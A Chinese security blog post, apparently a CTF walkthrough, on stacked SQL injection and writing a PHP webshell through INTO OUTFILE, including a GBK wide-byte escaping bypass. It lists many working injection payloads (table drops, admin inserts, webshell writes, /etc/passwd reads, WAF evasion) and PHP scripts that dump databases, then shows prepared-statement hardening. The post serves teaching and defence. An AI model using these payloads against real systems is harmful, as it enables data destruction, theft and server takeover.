SQL注入:堆叠注入写shell详解

admin 2026-03-03 07:08:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章深入解析SQL堆叠注入原理,即利用分号分隔符执行多条恶意语句。核心内容包括堆叠注入的应用场景如数据破坏、提权及写入Webshell,并详细演示了利用宽字节漏洞绕过转义实现写Shell的实战过程。文末给出了参数化查询、最小权限等具体防御措施。内容兼具理论分析与实操代码,对安全防御具有较高参考价值。 综合评分: 87 文章分类: WEB安全,渗透测试,漏洞分析,实战经验,安全建设


cover_image

SQL注入:堆叠注入写shell详解

原创

小话安全 小话安全

小话安全

2026年2月23日 17:35 山东

按照之前文章联合查询注入测试注入点,响应都是200

注入点测试

小话安全,公众号:小话安全CTF预告:ctfshow联合查询注入详解

一、什么是堆叠注入?

堆叠注入是一种攻击技术,允许攻击者通过一个输入点一次性执行多条SQL语句。其核心原理是利用数据库支持分号(;)作为语句分隔符的特性:攻击者在输入中插入分号,结束前一条预期的SQL语句,并拼接执行一条新的恶意SQL语句。

简单对比:

  • *普通SQL注**:像是修改试卷答案,改变了题目本意,但试卷本身不变。
原语句:`SELECT * FROM users WHERE username = '$username'`  恶意输入:`admin' --`  最终语句:`SELECT * FROM users WHERE username = 'admin' -- '`

(仅执行查询)

  • **堆叠注入**:像是不仅修改答案,还在后面附加一张由你命题的新试卷。
 原语句:`SELECT * FROM products WHERE id = $id`   恶意输入:`1; DROP TABLE products`   最终语句:`SELECT * FROM products WHERE id = 1; DROP TABLE products`(先查询,再删表)

二、应用场景与危害

堆叠注入赋予攻击者在数据库层面执行任意命令的能力,其应用场景主要包括:

**1. 直接数据破坏**

攻击者通过堆叠注入执行 DELETEUPDATE 等操作,篡改或删除数据。

示例:`1; UPDATE admins SET password = 'hacked';`

**2. 权限提升与后门植入**

在数据库中创建新的管理员账户,为长期控制打开通道。

示例:`1; INSERT INTO users (username, password, role) VALUES ('attacker', 'password', 'admin');`

**3. 获取系统命令执行权限(终极攻击)**

当数据库配置不当且权限过高时,攻击者可利用数据库特性向服务器写入Webshell,完全接管服务器。

示例(MySQL):`1;&nbsp;SELECT&nbsp;'<?php system($_GET["cmd"]); ?>'&nbsp;INTO&nbsp;OUTFILE&nbsp;'/var/www/html/shell.php'`

**4. 绕过安全防御**

当应用程序过滤了 UNIONSELECT 等关键字时,堆叠注入可通过执行 SETRENAMEALTER 等语句绕过限制。

**5. 高效信息收集**

连续执行多条查询,快速获取数据库版本、用户、结构等信息。

示例:`1;&nbsp;SELECT&nbsp;version();&nbsp;SELECT&nbsp;user();`

三、防御措施

**1. 使用参数化查询(预处理语句)**

这是最根本的防御,将SQL代码与数据完全分离,确保用户输入仅作为数据处理,无法改变语句结构。

**2. 遵循最小权限原则**

为应用分配仅具备必要权限的数据库账户(如仅对特定表 SELECT/UPDATE),限制攻击者在注入后的破坏能力。

**3. 实施严格的输入验证**

在无法使用参数化查询时,采用白名单验证(如强制数字类型转换),避免使用易绕过的黑名单。

**4. 部署WAF**

作为补充防线,可拦截已知攻击载荷,但不能替代安全编码实践。

解题过程:

admin'&nbsp;# 用于探测单引号是否引起数据库错误admin"&nbsp;# 用于探测双引号是否引起数据库错误admin' --&nbsp;# 闭合单引号并注释掉后续SQL语句(通用)admin' #&nbsp;# 闭合单引号并使用MySQL风格的注释admin' /*&nbsp;# 闭合单引号并开始多行注释admin\'&nbsp;# 尝试用反斜杠转义引号,可能破坏转义函数逻辑admin\\'&nbsp;# 双反斜杠后加引号,用于测试转义处理admin%5c' OR 1=1 --&nbsp;# 以%5c结尾后拼接条件,利用反斜杠改变语句结构admin' AND 1=1 --&nbsp;# 布尔盲注:恒真条件,响应正常admin' AND 1=2 --&nbsp;# 布尔盲注:恒假条件,响应异常admin' OR&nbsp;'1'='1&nbsp;# 无注释的恒真条件,用于验证admin' AND SLEEP(5) --&nbsp;# MySQL时间盲注,延迟5秒admin' WAITFOR DELAY '0:0:5' --&nbsp;# SQL Server时间盲注admin' AND pg_sleep(5) --&nbsp;# PostgreSQL时间盲注admin' UNION SELECT 1,2,3 --&nbsp;# 联合查询探测字段数量(需根据实际列数调整)admin' UNION SELECT NULL, database(), user() --&nbsp;# 联合查询获取数据库名和用户名admin' AND updatexml(1, concat(0x7e, database()), 1) --&nbsp;# MySQL报错注入admin' AND extractvalue(1, concat(0x7e, database())) --&nbsp;# MySQL报错注入admin' AND dbms_xdb.versionInfo() --&nbsp;# Oracle报错注入admin'; DROP TABLE&nbsp;users&nbsp;--&nbsp;# 堆叠注入:删除表(需数据库支持多语句)admin'; INSERT INTO admins VALUES ('hacker','pass') --&nbsp;# 堆叠注入:插入管理员账户admin'; SELECT @@version --&nbsp;# 堆叠注入:获取数据库版本admin' UNION SELECT 1, "<?php system($_GET['cmd']); ?>", 3 INTO OUTFILE '/var/www/html/shell.php' --&nbsp;# 写入Webshell(需具备文件写入权限)admin' UNION SELECT LOAD_FILE('/etc/passwd') --&nbsp;# 读取服务器文件%df%5c'&nbsp;# 宽字节注入(针对GBK编码,与反斜杠组合成宽字符)%bf%5c'&nbsp;# 宽字节注入的另一变种admin' UN/**/ION SELECT 1,2 --&nbsp;# 使用注释分割关键字绕过WAFadmin%27%20UNION%20SELECT%201,2%20--&nbsp;# URL编码绕过

堆叠注入写入shell

SELECT&nbsp;* FROM users WHERE username='\' AND password='&nbsp;or&nbsp;1=1;select&nbsp;"<?php eval($_POST[1]);?>"&nbsp;into outfile&nbsp;"/var/www/html/2.php";#'

由于反斜杠转义了第一个单引号,实际执行的语句变为两条(堆叠注入),导致任意 SQL 执行。

连接数据库报错

用php马查看数据库内容

<?php$conn&nbsp;=&nbsp;new&nbsp;mysqli('127.0.0.1',&nbsp;'root',&nbsp;'root');if&nbsp;($conn->connect_error)&nbsp;die("连接失败: "&nbsp;.&nbsp;$conn->connect_error);$result&nbsp;=&nbsp;$conn->query("SHOW DATABASES;");while&nbsp;($row&nbsp;=&nbsp;$result->fetch_array())&nbsp;echo&nbsp;$row[0]."\n";?>

查看数据内的表和字段名

<?php$host&nbsp;=&nbsp;'127.0.0.1';$user&nbsp;=&nbsp;'root';$pass&nbsp;=&nbsp;'root';
// 创建连接$conn&nbsp;=&nbsp;new&nbsp;mysqli($host,&nbsp;$user,&nbsp;$pass);if&nbsp;($conn->connect_error) {&nbsp; &nbsp;&nbsp;die("连接失败: "&nbsp;.&nbsp;$conn->connect_error);}
// 设置字符集(避免中文乱码)$conn->set_charset('utf8mb4');
echo&nbsp;"<pre>";&nbsp;// 使用 <pre> 保持格式(Web 环境)
// 1. 获取所有数据库$db_result&nbsp;=&nbsp;$conn->query("SHOW DATABASES;");if&nbsp;(!$db_result) {&nbsp; &nbsp;&nbsp;die("查询数据库失败: "&nbsp;.&nbsp;$conn->error);}
while&nbsp;($db_row&nbsp;=&nbsp;$db_result->fetch_array()) {&nbsp; &nbsp;&nbsp;$db_name&nbsp;=&nbsp;$db_row[0];
&nbsp; &nbsp;&nbsp;// 跳过系统数据库(可选)&nbsp; &nbsp;&nbsp;if&nbsp;(in_array($db_name, ['information_schema',&nbsp;'performance_schema',&nbsp;'mysql',&nbsp;'sys'])) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;echo&nbsp;"\n📁 数据库:{$db_name}\n";&nbsp; &nbsp;&nbsp;echo&nbsp;str_repeat('-',&nbsp;50) .&nbsp;"\n";
&nbsp; &nbsp;&nbsp;// 2. 切换到当前数据库&nbsp; &nbsp;&nbsp;$conn->select_db($db_name);
&nbsp; &nbsp;&nbsp;// 3. 获取该数据库的所有表&nbsp; &nbsp;&nbsp;$table_result&nbsp;=&nbsp;$conn->query("SHOW TABLES;");&nbsp; &nbsp;&nbsp;if&nbsp;(!$table_result) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;" &nbsp;无法获取表列表: "&nbsp;.&nbsp;$conn->error .&nbsp;"\n";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;if&nbsp;($table_result->num_rows ==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;" &nbsp; (空数据库)\n";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;while&nbsp;($table_row&nbsp;=&nbsp;$table_result->fetch_array()) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$table_name&nbsp;=&nbsp;$table_row[0];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"\n &nbsp;📄 表:{$table_name}\n";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 4. 获取表的字段信息&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$column_result&nbsp;=&nbsp;$conn->query("SHOW FULL COLUMNS FROM `{$table_name}`;");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!$column_result) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;" &nbsp; &nbsp; 无法获取字段信息: "&nbsp;.&nbsp;$conn->error .&nbsp;"\n";&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;($col&nbsp;=&nbsp;$column_result->fetch_assoc()) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$field&nbsp;=&nbsp;$col['Field'];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$type&nbsp;=&nbsp;$col['Type'];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$null&nbsp;=&nbsp;$col['Null'];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$key&nbsp;=&nbsp;$col['Key'];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$default&nbsp;=&nbsp;$col['Default'];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$extra&nbsp;=&nbsp;$col['Extra'];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$comment&nbsp;=&nbsp;$col['Comment'] ??&nbsp;'';
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;" &nbsp; &nbsp; &nbsp;├─&nbsp;{$field}&nbsp; [{$type}]";&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($key&nbsp;==&nbsp;'PRI')&nbsp;echo&nbsp;" &nbsp;PRIMARY KEY";&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($comment)&nbsp;echo&nbsp;" &nbsp;#&nbsp;{$comment}";&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"\n";&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$column_result->free();&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;$table_result->free();}$db_result->free();$conn->close();
echo&nbsp;"</pre>";?>

查询列的内容

<?php// 数据库连接配置$host&nbsp;=&nbsp;'127.0.0.1';$user&nbsp;=&nbsp;'root';$pass&nbsp;=&nbsp;'root';
// 创建连接$conn&nbsp;=&nbsp;new&nbsp;mysqli($host,&nbsp;$user,&nbsp;$pass);if&nbsp;($conn->connect_error) {&nbsp; &nbsp;&nbsp;die("连接失败: "&nbsp;.&nbsp;$conn->connect_error);}$conn->set_charset('utf8mb4');
// ========== 请修改以下参数 ==========$database&nbsp;=&nbsp;'ctfshow_page_informations'; &nbsp; &nbsp; &nbsp;// 目标数据库$table&nbsp; &nbsp; =&nbsp;'users'; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 目标数据表$fields&nbsp; &nbsp;=&nbsp;'id,username,password'; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 要查询的字段,多个用逗号分隔,如 'id, username, email'$where&nbsp; &nbsp; =&nbsp;''; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 可选条件,如 "id > 100" 或 "username='admin'"$limit&nbsp; &nbsp; =&nbsp;100; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 限制返回行数// ==================================
// 选择数据库$conn->select_db($database);
// 构建 SQL 查询$sql&nbsp;=&nbsp;"SELECT&nbsp;{$fields}&nbsp;FROM `{$table}`";if&nbsp;(!empty($where)) {&nbsp; &nbsp;&nbsp;$sql&nbsp;.=&nbsp;" WHERE&nbsp;{$where}";}if&nbsp;($limit&nbsp;>&nbsp;0) {&nbsp; &nbsp;&nbsp;$sql&nbsp;.=&nbsp;" LIMIT&nbsp;{$limit}";}
echo&nbsp;"<h3>执行查询:</h3><pre>"&nbsp;.&nbsp;htmlspecialchars($sql) .&nbsp;"</pre>";
$result&nbsp;=&nbsp;$conn->query($sql);if&nbsp;(!$result) {&nbsp; &nbsp;&nbsp;die("查询失败: "&nbsp;.&nbsp;$conn->error);}
// 输出结果表格echo&nbsp;"<table border='1' cellpadding='5' cellspacing='0'>";
// 表头(字段名)echo&nbsp;"<tr>";while&nbsp;($field&nbsp;=&nbsp;$result->fetch_field()) {&nbsp; &nbsp;&nbsp;echo&nbsp;"<th>"&nbsp;.&nbsp;htmlspecialchars($field->name) .&nbsp;"</th>";}echo&nbsp;"</tr>";
// 数据行while&nbsp;($row&nbsp;=&nbsp;$result->fetch_assoc()) {&nbsp; &nbsp;&nbsp;echo&nbsp;"<tr>";&nbsp; &nbsp;&nbsp;foreach&nbsp;($row as&nbsp;$value) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"<td>"&nbsp;.&nbsp;htmlspecialchars($value&nbsp;??&nbsp;'NULL') .&nbsp;"</td>";&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;echo&nbsp;"</tr>";}echo&nbsp;"</table>";
$result->free();$conn->close();?>

安全加固

<?phperror_reporting(0); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 关闭所有PHP错误报告,防止敏感信息泄露include_once("conn.php"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 包含数据库连接文件,创建$conn对象(MySQLi连接)
if&nbsp;($_SERVER['REQUEST_METHOD'] ===&nbsp;'POST') { &nbsp; &nbsp; &nbsp; &nbsp;// 检查当前请求是否为POST方式(只有POST才处理登录)&nbsp; &nbsp;&nbsp;$username&nbsp;=&nbsp;$_POST['username'] ??&nbsp;''; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 从POST中获取用户名,若不存在则设为空字符串&nbsp; &nbsp;&nbsp;$password&nbsp;=&nbsp;$_POST['password'] ??&nbsp;''; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 从POST中获取密码,若不存在则设为空字符串
&nbsp; &nbsp;&nbsp;#$username = $conn->real_escape_string($username);&nbsp; &nbsp;&nbsp;#$password = $conn->real_escape_string($password);&nbsp; &nbsp;&nbsp;// 预处理语句:准备SQL模板,?是占位符,后续用参数安全替换&nbsp; &nbsp;&nbsp;$stmt&nbsp;=&nbsp;$conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");&nbsp; &nbsp;&nbsp;if&nbsp;($stmt) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 检查预处理是否成功&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 绑定参数:将变量绑定到占位符,"ss"表示两个参数都是字符串类型&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$stmt->bind_param("ss",&nbsp;$username,&nbsp;$password);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$stmt->execute(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 执行预处理语句(此时参数已安全传入)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$result&nbsp;=&nbsp;$stmt->get_result(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取查询结果集(对于SELECT语句)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($result->num_rows >&nbsp;0) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 如果结果集中有数据(用户名密码正确)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;session_start(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 启动会话&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$_SESSION['username'] =&nbsp;$username; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 将用户名存入会话,标识登录状态&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;header("Location: main.php"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 重定向到主页面&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 立即终止脚本,确保重定向生效&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 无匹配记录(登录失败)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 弹出提示框并返回上一页(历史返回)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"<script>alert('Invalid username or password');history.back();</script>";&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$stmt->close(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 关闭预处理语句,释放资源&nbsp; &nbsp; }&nbsp;else&nbsp;{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 预处理失败(如SQL错误、数据库连接问题)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 记录详细错误到服务器日志(不暴露给用户)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;error_log("Prepare failed: "&nbsp;.&nbsp;$conn->error);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die("系统错误"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 输出友好错误信息并终止脚本&nbsp; &nbsp; }}&nbsp;else&nbsp;{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 非POST请求(如直接访问本脚本)&nbsp; &nbsp;&nbsp;header("Location: index.php"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 重定向到登录页&nbsp; &nbsp;&nbsp;exit(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 停止执行}?>

如果只用进行简单过滤

$username&nbsp;=&nbsp;$conn->real_escape_string($username);$password&nbsp;=&nbsp;$conn->real_escape_string($password);
real_escape_string() 会对单引号&nbsp;' 添加反斜杠转义,变成 \'(即 %5c%27)。在 GBK 字符集下,如果输入以 %df&nbsp;开头,则 %df&nbsp;与转义添加的反斜杠&nbsp;%5c 组合成一个合法汉字(如“運”),导致反斜杠被消耗,单引号 %27逃逸,成功闭合前面的&nbsp;username =&nbsp;'
要写入 WebShell,需要满足以下前提:数据库连接字符集为 GBK 等存在宽字节漏洞的编码(例如通过&nbsp;SET&nbsp;NAMES&nbsp;'gbk'&nbsp;设置)。数据库当前用户拥有 FILE 权限,且知道 Web 绝对路径(例如&nbsp;/var/www/html/)。目标数据库支持&nbsp;INTO&nbsp;OUTFILE 写入文件(MySQL 常用)。

先用php代码查看字符集

<?phpinclude_once("conn.php");&nbsp;// 假设 $conn 已连接echo&nbsp;"当前连接字符集: "&nbsp;.&nbsp;$conn->character_set_name();?>

如果值为 gbkgb2312big5 等,则说明连接使用了宽字节编码,存在被利用的风险。

直播时间:2月23日晚21点


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小话安全 小话安全 小话安全《SQL注入:堆叠注入写shell详解》

评论:0   参与:  0